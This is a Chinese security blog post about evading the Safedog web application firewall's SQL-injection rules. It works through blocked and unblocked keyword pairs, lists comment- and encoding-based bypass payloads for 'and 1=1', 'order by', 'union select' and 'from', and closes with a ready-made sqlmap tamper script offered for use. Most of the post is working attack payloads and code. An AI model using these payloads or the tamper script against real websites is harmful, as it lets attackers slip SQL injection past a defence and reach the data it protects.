bypass安全狗


安全狗防护基本方法

本次使用的安全狗版本为:V4.0 27338 IIS 正式版,是官网截止2019年10月8号的最新版本,本篇文章主要介绍sql注入突破。

sql注入防护

在安全狗的默认防护规则中有一系列关于sql注入的防护

20191008153228.png

当初发这些规则时就会被拦截,例如:

20191008153332.png

bypass Sql注入防护

绕过总结(图片来自网上)

20191008154146.png

绕过 and 1=1

  1. 直接使用and -1=-1绕过
    20191008213720.png

  2. 使用注释绕过,50000表示mysql的大版本号为5.0版本
    20191008213555.png
    或者:
    20191008213654.png

  3. 使用减法或加法绕过,注意加号需要进行url编码
    20191008223515.png
    20191008223608.png

  4. 使用&&代替and,使用true代替1=1
    20191008225210.png

  5. 其它绕过

    payload 结果
    and 未拦截
    1=1 未拦截
    and 1=1 拦截

    说明只有and和1=1在一起时安全狗才会拦截,那就需要干扰安全狗将and和1=1使用一系列注释和特殊字符分开,例如:/*!and/*/**//*!/*!1=1*/
    20191009103349.png

绕过order by

payload 结果
order 未拦截
by 未拦截
order by 拦截

说明只有order和by在一起时安全狗才会拦截。

  1. 使用.绕过
    20191009151740.png
  2. 使用%23%0a绕过
    20191009153514.png
  3. fuzz出来的其它绕过方式,有很多,这里只举其中的5中方式
    • /*!order /*!/*/**/by*/1,2,3,4
    • /*!order /*/*%/**/by*/1,2,3,4
    • /*!order /*/*/**/by*/1,2,3,4
    • /*!order /*!/*/**//**/by*/1,2,3,4
    • /*!order /*!/*/**//*/**/by*/1,2,3,4

绕过union select

payload 结果
union 未拦截
select 未拦截
union select 拦截

说明只有union和select在一起时安全狗才会拦截。

安全狗对union select的过滤比较严,我只找到了一种绕过方法。

  1. 使用--+aaaaaa%0a绕过
    20191010151154.png

绕过select from

payload 结果
select 未拦截
from 未拦截
select from 未拦截
select 1 未拦截
from 1 拦截
from1 未拦截

说明from后面有空格时会拦截。

  1. 使用-+即可绕过(仅适用于from后面跟数字的情况):
    20191010113333.png

  2. 使用/*!99999c*//*!99999c*/FROM绕过
    20191010164125.png

绕过database()

使用注释即可绕过:
20191010153612.png

sqlmap tamper

最后赠送过狗tamper

#!/usr/bin/env python

from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING
__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    if payload:
        payload=payload.replace(" ","/*!*/")
        payload=payload.replace("=","/*!*/=/*!*/")
        # payload=payload.replace('1=1','true')
        payload=payload.replace("AND","/*!AND/*/**/")
        payload=payload.replace("OR","/*!OR/*/**/")
        payload=payload.replace("UNION SELECT","UNION--+aaaaaa%0aSELECT")
        payload=payload.replace("#","/*!*/#")
        payload=payload.replace("USER()","USER/*!()*/")
        payload=payload.replace("DATABASE()","DATABASE/*!()*/")
        payload=payload.replace("--","/*!*/--")
        payload=payload.replace("FROM","/*!99999c*//*!99999c*/FROM")
        payload=payload.replace("CONCAT","/*!12345CONCAT*/")
        payload=payload.replace("CAST(","/*!12345CAST(*/")
        payload=payload.replace("CASE","/*!12345CASE*/")
    return payload

参考文章


文章作者: darkless
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 darkless !
评论
 上一篇
烽火MR820网关的一处越权 烽火MR820网关的一处越权
无聊引发的渗透在外出差,为了打发无聊时间只能拿路由器开刀了,连上WIFI后查看地址,然后nmap扫一波。 只开放了80端口 然后web登录,是下面这个页面 使用admin用户登录密码错误后会提示密码错误,使用其它用户登录会提示不存在此
下一篇 
文件上传姿势总结 文件上传姿势总结
总体情况 判断上传漏洞类型 上传绕过方法前端JS校验1.禁用js2.修改js代码中禁止上传的白名单或黑名单3.抓包改包 服务端检查文件名后缀1.黑名单: - 上传服务器可解析的其它格式后缀,例如php3,phtml,asa,cer等
  目录